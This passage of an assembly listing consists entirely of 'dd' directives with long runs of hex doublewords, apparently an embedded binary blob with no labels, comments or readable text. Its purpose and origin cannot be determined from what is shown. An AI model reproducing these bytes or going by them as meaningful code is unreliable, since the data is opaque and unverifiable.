8F0CC9F4h dd 0F0686C64h, 3998EB2Ah, 0A08B2844h, 54C083C9h, 0C39CF04h dd 2E850F18h, 5E605FD3h, 0C95BF426h, 880A91C3h, 569E0104h dd 5712C3A8h, 3268068h, 6DB05568h, 91921242h, 7617B80Fh dd 80184D68h, 0BBE7C1E8h, 5615C102h, 0F9F88B53h, 0AC1DA0B3h dd 0C7031002h, 88BF6B75h, 0FC188346h, 0A0565725h, 0AC485BC6h dd 4B18C60Eh, 4DD13603h, 802401D2h, 5CFF067Ch, 34805DCh dd 18EBF675h, 4AC5848Dh, 0C228502Eh, 574C4827h, 70840F84h dd 110C5145h, 0A444FA53h, 14BD826Fh, 3D020BAh, 2AC6814h dd 0FD34126Bh, 7084022h, 0BC72FDEFh, 54E13C13h, 0BD378076h dd 74033538h, 3D462223h, 2A8B5029h, 0A1F301Bh, 3144689Dh dd 0B66831DBh, 107A4284h, 1AD10543h, 8B148934h, 3B1782F0h dd 71FE86F3h, 6313A3B3h, 8EE89008h, 1E399B09h, 8420459h dd 48F8DE82h, 548E0FE1h, 0CF339FF6h, 20681582h, 44E8B03h dd 240F9339h, 6303C362h, 0B152FC30h, 91B2410Eh, 0C878943Eh dd 8B80980Eh, 448D0446h, 0A40C7E07h, 9AEAC622h, 59484806h dd 70C87315h, 0FF3DB08Bh, 8A290734h, 0F601AE85h, 53C01BD8h dd 0C811B120h, 3B8C9C73h, 0C8FCF0C3h, 3389654Ch, 0C6AAAFD2h dd 485DE055h, 9B42CEC7h, 48F07C51h, 0CA2B0A08h, 1F0DF981h dd 4D898177h, 0BB408BE8h, 51F41ED0h, 61FC2D2h, 2C491224h dd 93A09056h, 268B91D2h, 8244ED39h, 0C1C93344h, 428A0806h dd 1B463AABh, 1A1C744Ch, 2006D0BEh, 20588D0Ch, 74D3143Bh dd 0E03B8407h, 4175D08Ah, 293E1AB2h, 5FEC8506h, 0C701C381h dd 0FAE41420h, 8410068Ah, 123574D2h, 3A81E7F9h, 0B714E5D0h dd 0D235BE74h, 1431393Dh, 0EC063AB0h, 6D9AD2EBh, 852B410Ch dd 3E3B8B39h, 0EB9976C8h, 0E4039109h, 753EC985h, 7CCB5319h dd 3B0AE8ECh, 0D8080754h, 1787489h, 0FF1FE97Bh, 295C03A6h dd 683D41BAh, 2E725E8h, 8A20A4C3h, 7380D55Dh, 3442E165h dd 51C443C7h, 0D75D4ECCh, 861CCF5Ch, 0C82E721h, 0EB5A8814h dd 486A1938h, 1EA8C900h, 6E83281h, 96C5965h, 580301B2h dd 0EB237504h, 28124402h, 5D688AACh, 1448C781h, 3B129894h dd 8C0F1A06h, 0B408B517h, 2504E91Fh, 63235210h, 0A611847Eh dd 5F2259CEh, 0A99E4474h, 5CF864A1h, 1657759Ah, 30F8109Ch dd 0C614B88h, 9D6517EBh, 86CC190Ch, 103F3243h, 3F97B5A9h dd 1C59C81Bh, 0C0335E98h, 0C235EA98h, 9081E404h, 4061247Ch dd 0CB77A243h, 326269E8h, 6C69352Fh, 0F5FBF89Bh, 48B01F48h dd 74F60047h, 5C8A535Bh, 57180124h, 0E8045E88h, 892B83DAh dd 0D3C70546h, 92C98424h, 0CD5709E8h, 8F29DEBEh, 0CF1C2482h dd 7B29DB86h, 24304820h, 909CB8C4h, 5BDB8432h, 3605753Dh dd 32521594h, 6A0F7468h, 11C4EFC8h, 2ABE4062h, 18268558h dd 0A1C37281h, 0FB5191D9h, 222358Bh, 94F88319h, 0D6583003h dd 91B8A114h, 34BCB20Dh, 5ECBC043h, 5685AD33h, 806620B0h dd 82AB89BEh, 12099687h, 74048D42h, 99326A3Eh, 741A0C35h dd 3CE81215h, 52B0CAEh, 623D8BCCh, 1B7327F4h, 0E8D42CB0h dd 8C1B2152h, 117225FAh, 50FE8C2h, 0A30C4D8Bh, 18A1400h dd 74740A3Ch, 380D741Bh, 185C6817h, 28FE10DCh, 0CB24EF51h dd 13C57743h, 0A4681221h, 0CF3D2933h, 27BA44C1h, 0D802E913h dd 0F8580AFh, 245DDC5Eh, 1756074Ah, 3A70104h, 4C88EE8Dh dd 0E884FBE0h, 0FD98FE8Fh, 0B023F181h, 11916578h, 33A5212Dh dd 88824DF6h, 0BF8DC50h, 39B5056h, 0D3EC66BFh, 745943B8h dd 9513CA80h, 8D016A80h, 1B5BE045h, 29783D8Bh, 0F0185063h dd 0C1E2AC7h, 717D7CBh, 35E85DBCh, 0D7368275h, 85E12D86h dd 332457D0h, 0C5F409F8h, 2CCA1722h, 6A88F87Ch, 0C4566A03h dd 28324D6Bh, 150D9826h, 226AA680h, 104001A4h, 0E87EC3CCh dd 1920FDF3h, 5F882544h, 1DE59C26h, 0D8AA929Ah, 3C0C961h dd 0CD0C7AF0h, 0FC55C806h, 0CFDB887Dh, 0A3AA7208h, 0C961ADF9h dd 0BF94D068h, 0B419A250h, 4366A101h, 0C423B89Bh, 65429184h dd 8B08F4ECh, 96F8B5ACh, 0D0261C13h, 164C28A3h, 0A9B8F0F8h dd 0BCE1CC08h, 3E1DAAE2h, 0FFC7E6Ch, 0F047039h, 0BF75088Ch dd 0BB0CA091h, 92571503h, 12F9415Bh, 64294B9Ah, 0FEFC6F59h dd 1D9216D4h, 53351492h, 7388EE64h, 390D84A5h, 8D2AC892h dd 0E4B98E94h, 8C32BC41h, 6C097418h, 93C42839h, 0A6A4BC4h dd 58EB57D8h, 6360485Fh, 0BC801076h, 20530551h, 40325F21h dd 8772C63Bh, 7C5A7DF9h, 39F2CF51h, 3352F6DCh, 7D8E1884h dd 74149043h, 0ED81752h, 0E888FDE4h, 590DCE23h, 0DA90DD35h dd 0D0308485h, 402CEBBBh, 293BB194h, 680925A4h, 0F96B98C8h dd 1133CAFCh, 31A86413h, 6F327E40h, 35A26977h, 0FBE0F682h dd 2555D222h, 49F78A5Fh, 6A512686h, 9A4C0B45h, 798DA559h dd 4F99B04Dh, 356C2251h, 152AF546h, 0F74B9670h, 46082D1Ah dd 9C57B8B4h, 385607D2h, 56101998h, 0A901D74h, 8F920C50h dd 536D0A92h, 68F06C02h, 5E326C2Ch, 0E4241512h, 7B931421h dd 0B5E8D830h, 8340B9FBh, 6A74F33Bh, 0DF0C7DB9h, 0D87C84F5h dd 45D4638h, 40961234h, 0B0E31336h, 2042136h, 0B32C3E0Ah dd 48186843h, 7B48C693h, 44162117h, 23540624h, 27790D10h dd 60331468h, 0ABD98AA4h, 0D7543D0Ch, 7505C9E2h, 13F4680Fh dd 4D3531F1h, 0B040447Dh, 208C5DC1h, 8ECB05E8h, 216214D6h dd 2D08FC18h, 881FC7FBh, 843D2E6Ch, 0D68879Ch, 0D1FC0D4Bh dd 4C3A5291h, 0C6BD4076h, 0F0121E92h, 45040D75h, 8D4AFC18h dd 37EB8190h, 62271068h, 914122FFh, 0AF483C4Bh, 632207C5h dd 600CC6ABh, 0C81C75F4h, 0F1E82EF0h, 9138A144h, 439C4155h dd 0A5ADE97Ch, 1C668910h, 899DE6FCh, 9C4D8B7Eh, 4B213739h dd 0C4808014h, 44A27C7Fh, 8B8E6078h, 22581D8Bh, 0E14C28D2h dd 5D08B856h, 18857CBEh, 5D7D13FAh, 8BD3C423h, 0BFA1F8h dd 5577FEAAh, 4A75014Ch, 895C4B22h, 0A228892Fh, 81046ADBh dd 2303E824h, 0A4F0F748h, 5F574837h, 984EC067h, 2B6C1C46h dd 3E801F72h, 241678A6h, 909710DCh, 9FEBE15Fh, 8A1ACB48h dd 10708B43h, 84413989h, 0F6E90975h, 482A153Ch, 0C68B1C8Fh dd 17237B9h, 90F9F799h, 0D903DBE3h, 0DAE8FC5Dh, 362B3933h dd 13208D51h, 0AB800DD8h, 9C00B590h, 0E8241CDDh, 3A1CA5BEh dd 449B08C9h, 0A53F66F4h, 900B2B13h, 7B74C434h, 88902022h dd 17B9F99Eh, 221218A4h, 4CFA5B2Ch, 5CD44952h, 5E5B5F09h dd 1050DABAh, 60310A4Ah, 0CD1D02CCh, 462F08FDh, 112136F9h dd 222D4328h, 0AAE9A209h, 740BBA6Bh, 16C6280Dh, 0B825C1Eh dd 90F37548h, 0B607EB22h, 0CC2E134Dh, 44990408h, 12F8D188h dd 195C5D59h, 281008C7h, 2CD4CC5Ch, 15756AAAh, 6AC43E7Bh dd 9CE2025Ch, 114F611h dd 75141604h, 3A6223F8h, 0EAC69228h, 8224E92h, 523F22FDh dd 0EC365F65h, 68504EC0h, 1A136E88h, 0E84B20B2h, 0C1DC9812h dd 0CADBA472h, 0AE1D0A9Ch, 2819EA88h, 5CA584E7h, 0E40A59FEh dd 0C19BBF74h, 22337868h, 908F2A20h, 1D88B26h, 75CBDE1Ch dd 0A51B0318h, 601C431Ch, 4951DF14h, 504BE93Eh, 530D9318h dd 915376E8h, 855C4E0Ch, 7B7BF54Dh, 0A3059965h, 4CE021ACh dd 5CA10C0Eh, 59140C64h, 4F972879h, 29F4FC80h, 542AC9D0h dd 6836FDE6h, 48C83746h, 0CB5E4F64h, 0AB10EA60h, 0BE911A52h dd 36B18A6h, 19016232h, 12FFF81Dh, 0A7671659h, 978B9F58h dd 313E9808h, 49205484h, 0F4618A78h, 0F78D04F7h, 0D6463425h dd 48FA415Fh, 0F750A016h, 0B1245Bh, 64296891h, 3157131Bh dd 7D2010F3h, 0A529C9ECh, 5E2449E5h, 8AB7E598h, 5843481Ch dd 0B6EB100Ah, 8938F291h, 298432F4h, 1E2478EFh, 0F6FC8B7Eh dd 0F27A0414h, 674BA28Eh, 0FAC13D05h, 0D512E807h, 138216F6h dd 0E8100565h, 68F6B984h, 0B4FD420Ch, 86B08068h, 20296F43h dd 1F0909DAh, 0B393C711h, 0F1E41C89h, 0F0221AB5h, 634FEFC5h dd 3C221AA4h, 997CA175h, 0D3211C4Ah, 1CF0C92h, 5DA2914Ah dd 4226610Ch, 0BAF1E58Dh, 0DC2A1010h, 0D3144009h, 0CA184086h dd 12CE798Bh, 99F640E8h, 0B72691CDh, 0DF9A812Ah, 0AB870A0Ch dd 101C961Fh, 0F8201F52h, 8698FB40h, 3E400BCCh, 83E48A8Ch dd 0F5A8E812h, 257B0DDCh, 38D216Ah, 342D6C6Ah, 0CCE22BA5h dd 8252264h, 9C941010h, 29860921h, 146402E4h, 6A468028h dd 2422306h, 6F441820h, 25A35468h, 4E0B333h, 0B22FBE89h dd 354F3443h, 0B93CE50Dh, 7C689D89h, 3BE742AAh, 0C1198592h dd 6D4DBD49h, 1E8D926Dh, 0B00C7DECh, 0D3349004h, 97C01D0Eh dd 0E8263062h, 0EEB6F507h, 0A13951E5h, 0F30A15DAh, 0A1E87CF4h dd 0D90408C4h, 0C87CDF4h, 0D28AA076h, 1B8122E4h, 25774652h dd 893B05Eh, 92F7B404h, 573FD3BBh, 143EF4C5h, 0CDE865C2h dd 527A891Bh, 89F635C6h, 0DF410A24h, 0BF2EBF59h, 402493Ch dd 0F708FBF8h, 0B13487A4h, 0F1CA38B0h, 18911559h, 0DA6764Eh dd 1F34567Eh, 0E23BB1Dh, 691F2257h, 8434A8C9h, 0D9F51862h dd 1078C5C6h, 1625D07Bh, 6231EC68h, 0F85DF473h, 0A92D1D2Ah dd 20D8441Dh, 3404C683h, 0A94053E8h, 0A63B884Bh, 50D528C7h dd 67654C33h, 414D54FCh, 52C06851h, 3462845h, 1C40C65h dd 0DEE25E85h, 0C90C366Fh, 848A0964h, 140E2464h, 0F502F9C7h dd 6654E482h, 4D3E810Ch, 0E1EF4A5Ah, 64204511h, 8926029Eh dd 7E424108h, 327CF9F0h, 6429D534h, 0B4168084h, 469F9EF3h dd 12FC3510h, 31F63324h, 1C0BE886h, 0C68B0C27h, 5051BBE9h dd 2B1886C7h, 0F8A040B9h, 36708AFBh, 6377E832h, 322E422Bh dd 8553AFC5h, 0B8C601F0h, 0D328654Ch, 0F5FD8906h, 0D023224Bh dd 0AE44224Dh, 42743B7Bh, 2575D4CCh, 0E0EB3B3Dh, 561977F8h dd 1FB127A4h, 66F32308h, 740F3429h, 0EAB3EB0Dh, 0E942941Ah dd 0AA49566Fh, 0E0C51BDh, 0E95E4C85h, 0FB113160h, 78B833F2h dd 331B6337h, 18A7C51Ah, 0DD0CEB5Dh, 51A26A2Bh, 8531184Bh dd 0E69262Eh, 0D4171893h, 85AF0FD8h, 42FC3408h, 7231F280h dd 382811B2h, 2C2814ECh, 4D441BF8h, 52155E8Ah, 8E5F5840h dd 3552BD8Dh, 881F06ADh, 64113495h, 43B40E59h, 9366ABF3h dd 3C2866AAh, 0B5563E59h, 3C826210h, 0FA8809FDh, 448BC54Ah dd 8645C76Ch, 49DD828h, 80A408ABh, 0CC218440h, 73F80835h dd 7D076A0Ah, 0A2C46842h, 0E6F64A13h, 147C9E8Ah, 0A4934D5Ah dd 47B43F1Fh, 48E36865h, 38D207Fh, 0A46C1CC8h, 75943A13h dd 6C902819h, 8C68C4D8h, 0F3E993CFh, 0D139DF50h, 445CC819h dd 0EF303437h, 9EF16BE8h, 409B4A79h, 35BC8072h, 0E83A15A1h dd 0EB3D4E03h, 0B59C3EEEh, 7A0F1B39h, 8A27E25Fh, 8D0CA284h dd 3C20A08Ch, 0E815742Fh, 437C3C30h, 3F7F3900h, 0F73D4488h dd 1F28A74h, 0C33A4704h, 0B3E0E775h, 205C6C88h, 0E4AFFAAh dd 2620E8CCh, 123CFE03h, 8658663Dh, 0F4227184h, 80FA1F0h dd 0FA96E209h, 4B725443h, 755361F5h, 75097C36h, 68A31062h dd 0BE1AA250h, 64ED54F0h, 8A4993Fh, 0E8DA94Bh, 3417BCE9h dd 485022C7h, 532C841Bh, 0C8449085h, 683EE46Eh, 0EFBE8959h dd 0E622416Ah, 22505643h, 0E83602B9h, 43283340h, 337D7DB4h dd 0EB8A73B9h, 3059BD4Fh, 0F447930Ch, 0D1F39E50h, 2CC8716Dh dd 97EFFD62h, 0EFA3B8C1h, 15910310h, 924AD988h, 40726FC4h dd 286E191Ah, 9C548808h, 1652E819h, 0C33B1CC8h, 0FDE5BFD3h dd 2C880660h, 23784018h, 949231AAh, 93623E34h, 150DF338h dd 7D221734h, 5A398EA9h, 0C85F2289h, 68C21456h, 0BBB29924h dd 5951A214h, 0B340481Ah, 2144C4F8h, 1464602h, 0FA30217Dh dd 3B422111h, 151E8814h, 0C15F921h, 28AF4C53h, 7D27082Eh dd 0DC786308h, 753BFFECh, 4BB5FF14h, 383E344Ch, 950FC88Eh dd 491AE2D2h, 0D54FD0BEh, 47454634h, 8DBA42CAh, 0A6993F19h dd 95F09424h, 0EF4B02A3h, 0C2C3E33Eh, 1F377503h, 0A4A6E842h dd 39371C3Dh, 0CC5A9142h, 74DA72C0h, 92ECB807h, 0FEB331Fh dd 0E0D3CA18h, 98C1154Bh, 0C00591D0h, 0E8C1F445h, 0EC5E0A64h dd 0DF1D7DFCh, 1FD9936Dh, 0EE18891Ah, 12AFA1EAh, 0E4A4D253h dd 38796C93h, 8E4C69Eh, 67B62D53h, 42983F31h, 0C96FC716h dd 0C9C88553h, 0A3750F74h, 0DA7201D8h, 8911E6F1h, 0CDC94868h dd 5C940F20h, 0A8A44253h, 3391F540h, 28400C76h, 628DE840h dd 39EB9C2Bh, 70453FE5h, 0ED14C722h, 402DB2C1h, 86C88B28h dd 1024433Dh, 0D7C4CF37h, 0EB86D146h, 142A5C27h, 43179187h dd 0D3B02227h, 7F23CF6Bh, 2B79FEE5h, 9D840F07h, 0A072020Dh dd 0ECDEE809h, 2AC831CCh, 86A8E88h, 61897A4Eh, 6BBE6AD0h dd 1813E80Fh, 7C648022h, 2184E105h, 88362068h, 0EC43D911h dd 756B464Eh, 0CE942F06h, 5957530Bh, 0BC5E9DD2h, 84351FCFh dd 0BD318AE8h, 88613A9h, 6689F88Dh, 766317Ah, 900C8627h dd 841D25D6h, 50212052h, 0FC276833h, 30629835h, 44E48822h dd 2DFDBC86h, 822F726Dh, 48DC68E4h, 5582E8DDh, 9881AE49h dd 3D39FF33h, 0C321A5D8h, 0B808BD51h, 160CBCEBh, 0C00C25B8h dd 376FBF7Fh, 3B0A802Ch, 0A3677C8h, 0F9812D74h, 19809EE1h dd 0A805101Eh, 10C8C137h, 4F75831Dh, 4B1DB8BFh, 9CD448EBh dd 84FC7A07h, 423A7E84h, 48333260h, 2B72238Dh, 64931022h dd 72947976h, 0BF1310FDh, 0C3B4442h, 51F24A1h, 83141491h dd 0BA18A57Ah, 5741308h, 365AFCEEh, 5523D88h, 0B0FF5157h dd 0D94DB5C0h, 0C40652B8h, 9C0CB419h, 21A04386h, 0C8AC90A8h dd 16B16FA4h, 0EF15438Dh, 89934B3Bh, 0FAA3754Ch, 0CAFBA88Eh dd 141B916Ch, 433BFB48h, 7464FB02h, 17A8B26h, 38DD0154h dd 750FE5A4h, 0C5768B11h, 6D0786FFh, 0C489C883h, 5833A08Eh dd 0CDF65BEBh, 64326B11h, 439C3657h, 3657220Eh, 0B14987F6h dd 7760E19Fh, 0D03C6807h, 6177E1F3h, 0D1E80F28h, 8872356Dh dd 2420643Dh, 97286447h, 38B8993h, 0FB3AFD58h, 473BF974h dd 0DAC3BB04h, 1022E0Bh, 273FBE94h, 261206C2h, 9D1E0868h dd 8141814h, 0A73CBE13h, 2244D960h, 25EA7082h, 0AF1201B3h dd 30C39D56h, 0F1EADAE8h, 58CC458Bh, 6DE8B812h, 928DEA4Fh dd 586C5BE5h, 5E3F3348h dd 0BC1826C2h, 0CDB86645h, 7C0A0225h, 7B32BC1Ch, 0CFA6592Fh dd 664CB348h, 857B7E89h, 4A7BC748h, 44894354h, 349EB81h dd 89266302h, 0F08D546h, 0F7069F0Ch, 4D8D821Ah, 20B187C3h dd 5E087053h, 0A61C106Ch, 0C1EC6265h, 0BFD2E9E6h, 0CC61461h dd 11ED3089h, 0AED90978h, 51B9154Ch, 1974F800h, 330C408Bh dd 280794D6h, 6C21839h, 2820F647h, 0EF98359h, 0B80A751Fh dd 0E95C2AECh, 8DE9E060h, 28C17F34h, 6DBB04E6h, 3A6C998Eh dd 4CC18554h, 64F6464Dh, 31E25810h, 0D8535619h, 0DB231492h dd 861922D8h, 0B7F0D88Ah, 0AD8D789h, 0B2E9A411h, 787602DAh dd 8D079454h, 686B0870h, 0FB04743Bh, 0CFCDAEC2h, 8E4DCC58h dd 85F8057Eh, 80789C9h, 41E4FCF7h, 6512A76h, 0E0F6190Eh dd 51EDF855h, 435904EDh, 4EB918F9h, 8414BE08h, 510C528Bh dd 0B9D80983h, 0E0DE9A14h, 0E891272h, 0E3E8DC55h, 0DB508C53h dd 9303743Fh, 6302E47Eh, 403B30C6h, 928E72A4h, 0FCCEC716h dd 0E246AB89h, 0E610C225h, 4242190h, 4A486A6h, 0A05750Dh dd 8B0B1640h, 0F7200B5Dh, 90AFE0C3h, 26BE0A62h, 0F0E9F048h dd 9AA63E1h, 843E8366h, 17CC0A03h, 27DD6DE9h, 9AE84265h dd 41BD528h, 15629FCAh, 69664430h, 0B72352C7h, 315EEEE9h dd 40B42824h, 3D2986DCh, 0F681982Dh, 547502C3h, 12040A93h dd 0FB10106Eh, 34214D49h, 0E8C3F016h, 0E822E736h, 40BDA414h dd 0AC0242C4h, 93577877h, 762A6439h, 2FEB6102h, 168B70A4h dd 3D300917h, 947FD927h, 0AA0F0BFh, 84B9EB32h, 7F0A2F38h dd 0E7D1C268h, 303543B1h, 4B901867h, 4EC44D5Ah, 824FC8B8h dd 0FD416628h, 0C8E2702h, 54C0B70Fh, 0C9EC5A13h, 9E129B6Bh dd 10C02D67h, 761C2140h, 474DBEECh, 0EDEBA3E5h, 69A42212h dd 174BD673h, 119AC8A6h, 57B66CA6h, 57175C95h, 8E1C3256h dd 8B534A7Ch, 0BC767027h, 0B71B20A2h, 5C3DCB18h, 681671B2h dd 17B2399Ch, 61603516h, 0CF680DB6h, 0D68C2361h, 228E0A3h dd 6429533Fh, 4FD8121Fh, 54AC75BBh, 36DE531Bh, 1B084814h dd 2143E8A3h, 0EC913C1Bh, 0F0643088h, 0F4192062h, 46861018h dd 38FC10F8h, 0E810A39Dh, 0C89210DCh, 370464CCh, 140F0876h dd 8238C468h, 0B0EB34B3h, 0A49C62ECh, 0D5370C27h, 100D4884h dd 14326CC4h, 8418BA1Bh, 1E746041h, 23A263BFh, 0F97D2443h dd 18280D52h, 15A33D83h, 0D2CE687h, 640B5B48h, 0C524281Eh dd 1ED54213h, 1C8105C7h, 0C3402A12h, 11171440h, 0D60A2C51h dd 0B2D6722h, 0A965E208h, 0E3149E41h, 297D2014h, 0E8421808h dd 121C3137h, 478CF45Fh, 0BE12B6B8h, 0E636E813h, 0AD68F042h dd 2DCFFB01h, 0B12FD146h, 0A3CF99E5h, 0FDFA13E2h, 0F625E54h dd 26C90807h, 0A0DA8D5h, 0B5FF1375h, 26E8042Bh, 8624A83Fh dd 528351E9h, 0E1482B56h, 9C478B2Ah, 22EE9E6Fh, 839C021h dd 0BE176758h, 1F3A1BE5h, 310757DFh, 0A5F88B1Dh, 11ECE555h dd 89957FF7h, 787152F8h, 0D813C883h, 0ED6E92A2h, 10100E87h dd 0FBE85705h, 1C1AE70Dh, 0CC25B484h, 26AB5727h, 7AE7C867h dd 59100115h, 8295870Fh, 683D802Dh, 5B4244A2h, 0AACE8712h dd 0C042320Bh, 0EB9C0329h, 94243E22h, 0B8092DECh, 0D0632AC9h dd 2F0D827Ch, 0E49DC524h, 7944C2B6h, 7CBCA6ACh, 8C22A4BFh dd 0CAF4568h, 32421421h, 85539E3Eh, 40956288h, 22B4902Bh dd 0D40CDE32h, 2C0C560Ch, 0F41607EBh, 5245989h, 88064FE3h dd 0A596F7F4h, 8991A31h, 0D3537105h, 0C6CE0D3Dh, 5319A040h dd 245C2E8Bh, 185697BCh, 1F04C88h, 0C00F1295h, 6A14BB98h dd 61B6EE3Ah, 3AE3F9E8h, 57480E71h, 4612B67Ch, 0E37D8104h dd 7C299728h, 0AF9E7E1h, 8F89052Fh, 0ECD23414h, 800D057Bh dd 41F88BBFh, 72C0048Dh, 0F4FA504Dh, 5677E1A4h, 822EFD27h dd 113C42A2h, 16F3A714h, 0BE563BA1h, 0B2A41C4Ch, 0F32C356Fh dd 5BEDBCE0h, 39699E3h, 3E125615h, 0D6E16A0Ch, 2658EC38h dd 4E205810h, 8B56E205h, 330CF180h, 0FE8309D2h, 0E8077601h dd 0F008B744h, 0E9D157CEh, 380E65B8h, 2E40D703h, 7549204Eh dd 51EB5FF4h, 0B8001804h, 3805745Eh, 31FB60Fh, 81CA84D0h dd 0FABEDE2h, 0BE10E9C1h, 0E8EEF6FEh, 0F7CB0EDEh, 82D279D0h dd 5648530Ch, 0FEBBDF82h, 0EF37BC91h, 75F0189Bh, 0BFA0534Dh dd 824E92E8h, 0C991CCD5h, 9BC32459h, 0D31FCD0Bh, 18E87D5Eh dd 14507A42h, 36E67EC1h, 0AAA4E781h, 90F738C8h, 345ECA75h dd 10E738B0h, 0DFE66C81h, 38AEFE39h, 0D8594244h, 0E0C13167h dd 0C7341864h, 6A8B86ECh, 6808BD90h, 10B59CA4h, 5A1BE826h dd 0E4F78C82h, 0D08FE64Ch, 6A08C0ECh, 91506804h, 14E8041Ch dd 0C92CADE3h, 8C622905h, 8648336Bh, 86E2FB23h, 9E6AE774h dd 0EA143C55h, 6AD31716h, 140F1103h, 0A0B78C7Ah, 0C3405ED3h dd 244C248Bh, 3C8089AEh, 9742183h, 6DDC2F4h, 1C023A43h dd 5AE851C3h, 621A5CE2h, 98903DF2h, 0D7D4EB77h, 37518E2Bh dd 0A04A60C5h, 15B4C448h, 38934FCh, 0C903AD1h, 0EB019243h dd 0B8685736h, 6AD1320Bh, 192CFB3Eh, 0F442F524h, 1FC60808h dd 61209F8h, 65E92B94h, 570FD483h, 0E8F63304h, 0C7E80A66h dd 5D4F0B94h, 0F5EB4B78h, 96349982h, 0E81F7520h, 82CBD98Ch dd 0D622FA38h, 0F23C0D3Eh, 0CA8F1A8Fh, 0A11C3293h, 1B1C198Ah dd 17A2316Ah, 2C2C1861h, 8D8C4AD6h, 12E3A007h, 0B5E4990Ah dd 5E25F01Dh, 2CCDB9ACh, 0A52A1D0h, 0BE23541Dh, 0C2FE8694h dd 0E0296B1h, 378ABA48h, 10271C1h, 33123A64h, 85055138h dd 108A1510h, 0A72A6B2h, 5AC209A4h, 2BEBD007h, 1437E744h dd 68737E56h, 0C0796218h, 4D8FE0AAh, 824212DAh, 7D0E3A2h dd 3DA5B00Dh, 0D85C32CCh, 991CCAADh, 0CCAD1492h, 2AA70F36h dd 42535152h, 0BFF72252h, 0A60B5D09h, 0B78929E1h, 969A760Ch dd 4667E02h, 116BD180h, 55894F28h, 7F402EBFh, 410B4081h dd 14AEE34h, 84C7747Ch, 0FC43870Ah, 80062DC7h, 8524ACE4h dd 2E48607Ch, 0FBA1C5BEh, 59862AFEh, 0CD4F6A02h, 979357Dh dd 0F4166B27h, 3748B6E6h, 7FC94085h, 0D5242152h, 0ACDC6BEh dd 7ED16093h, 608E93D3h, 0C91BB32Ch, 0D5A18528h, 64794F21h dd 30048E0Ah, 0D9560885h, 0BC46158Bh, 52969EC8h, 39E5FD53h dd 0B664E919h, 0F214BDFBh, 6107632h, 0E0F1F418h, 7E830675h dd 8002042Dh, 0EB1C765Fh, 8827A4CFh, 24E80C8Eh, 8EEFDE88h dd 0EB6501B0h, 2C56480Bh, 0B8113293h, 134B4876h, 90045324h dd 0E8061008h, 84904D6Eh, 0E1A73ABCh, 0F179FA84h, 36802025h dd 1F895053h, 4329FE4h, 28714308h, 25F6A6B1h, 5692C542h dd 1E4F802h, 11FE2423h, 2505DC12h, 49335840h, 264A10E0h dd 5352D59Ch, 720F8EC1h, 0C22B42A5h, 4CFAFC38h, 0B5038A45h dd 806200Ch, 0C25A0459h, 4FB83D8h, 5EA0A867h, 0A05984Ch dd 5A751317h, 168819F6h, 2A10251Bh, 0C606F01Ah, 0D9534EC0h dd 186A91E5h, 0CB64FC46h, 746C981Ch, 326A0E19h, 7518781Dh dd 0E825097Ch, 0EBA4A06Ah, 1B078B10h, 0D4875C89h, 7A3F81B1h dd 12C5DC56h, 55B11F12h, 8E2578CDh, 2C32D82Eh, 1F39A7A8h dd 0B585E7Bh, 0DD6E166Eh, 2EBDC30h, 5FC7278Bh, 909CA353h dd 9D89662Dh, 84BD6146h, 834B808Eh, 860F2881h, 8D139282h dd 9ED2741Ch, 0BFA2126h, 0E04DE837h, 6074D990h, 33138B0Fh dd 76D203C9h, 5C1FC23Ch dd 0E039354Fh, 41440AA0h, 72CA033Bh, 4A26EBF4h, 0DB730E28h dd 1A8E8428h, 4508B05h, 0A40A8941h, 43364296h, 0EC720A37h dd 250E8EFFh, 704C6CE6h, 0A537CA54h, 90D93C15h, 0E92626B9h dd 173E674Ah, 7DC004C7h, 1472063Bh, 2FBE8D81h, 0BE7C904Dh dd 78339DDh, 4E8D4B76h, 0B2173628h, 78832AD1h, 8B2A81ACh dd 0B6F8319h, 0D3C99B6Eh, 0EF72B155h, 3B8178BDh, 811375C2h dd 201522FAh, 89111573h, 28512994h, 39C15C02h, 0C0E89B8h dd 33F8E8B9h, 35D9F4D2h, 190CF3F7h, 0BEF0C832h, 0E0F1252Bh dd 98535064h, 36FF0A3Dh, 521D269h, 8F45589h, 3B8914A4h dd 21E40AC3h, 0EB50FFA4h, 1E39017Ah, 76FC5D89h, 87202F70h dd 482BE833h, 54C922DFh, 0F392000h, 9DAE3676h, 1049137Ch dd 720FC020h, 9020EBF2h, 124879B2h, 791773C8h, 1E4EFE22h dd 5603F048h, 5833881Ah, 0BAA41075h, 9325C347h, 534E6FCEh dd 57DBCD31h, 0F08906DDh, 0AF242376h, 9CA3BC83h, 64416926h dd 0B6251277h, 0CD8904F5h, 52204306h, 7259D83Bh, 0A648E078h dd 0CC819250h, 0C82BDB61h, 249C5BCCh, 44FE8162h, 0F770B2Bh dd 2F101068h, 0CE9EDB3Fh, 5E83E368h, 1A6083C3h, 10308984h dd 481B2C71h, 0D75A98Ch, 519C337Ch, 30426C03h, 891ACE54h dd 0F5878889h, 463F7D40h, 0F1E4246h, 4FB9C295h, 8FC06862h dd 2404299Bh, 0B88743ABh, 3B3943DFh, 0D26507Ch, 0A2839240h dd 0EBED00A0h, 904E8B2Eh, 0EAE7F9A9h, 3D215649h, 0C969C88Ah dd 33F80F5h, 2E1C1CAh, 4C8D5107h, 44471086h, 4BF0C44h dd 32DABE1Bh, 5FF841FFh, 0BC92902Dh, 5839C448h, 89EC9CC6h dd 0FCE789CDh, 19608597h, 1B565176h, 0CD708D57h, 0FBAC1C67h dd 90C319E7h, 133D7F10h, 621A391Eh, 7D04C21Dh, 558B7458h dd 0A4D740C9h, 3E70FF1Fh, 2BA8BC89h, 659201FFh, 61E53ADCh dd 98203B23h, 0E0B66A72h, 3F9AB78Dh, 2B515387h, 0EBFCA024h dd 8993F34h, 97C9C604h, 289B62Ch, 8BA1ECDAh, 10F14855h dd 0A87EEFA1h, 735887BAh, 0CAE111Ch, 0BE5C3B76h, 881A55A6h dd 0C64ADD11h, 0C4584712h, 95EB723Fh, 805D8624h, 1478D7Dh dd 5B2C8A97h, 0EFEB4C31h, 5433424Ch, 586EDCEDh, 0CD40FF04h dd 0C10C497Eh, 24A5802Ah, 69C12F89h, 0FC2660Ah, 3ABB5FEDh dd 14F30641h, 8E441460h, 814ABFC9h, 8925C9AFh, 7603A5D9h dd 0D2E75800h, 4291CDE4h, 790C2ED9h, 9281010h, 17E038CBh dd 0FFEEB40h, 8320BE67h, 0FDD101C3h, 6437DDD6h, 0B1585404h dd 0E4EB64F5h, 8E0C1287h, 127425AEh, 4AEDC4F3h, 4BB40B57h dd 0F813EA95h, 5830D993h, 853D6A8Ah, 6678E5CBh, 8817EC6h dd 2B392119h, 333D0130h, 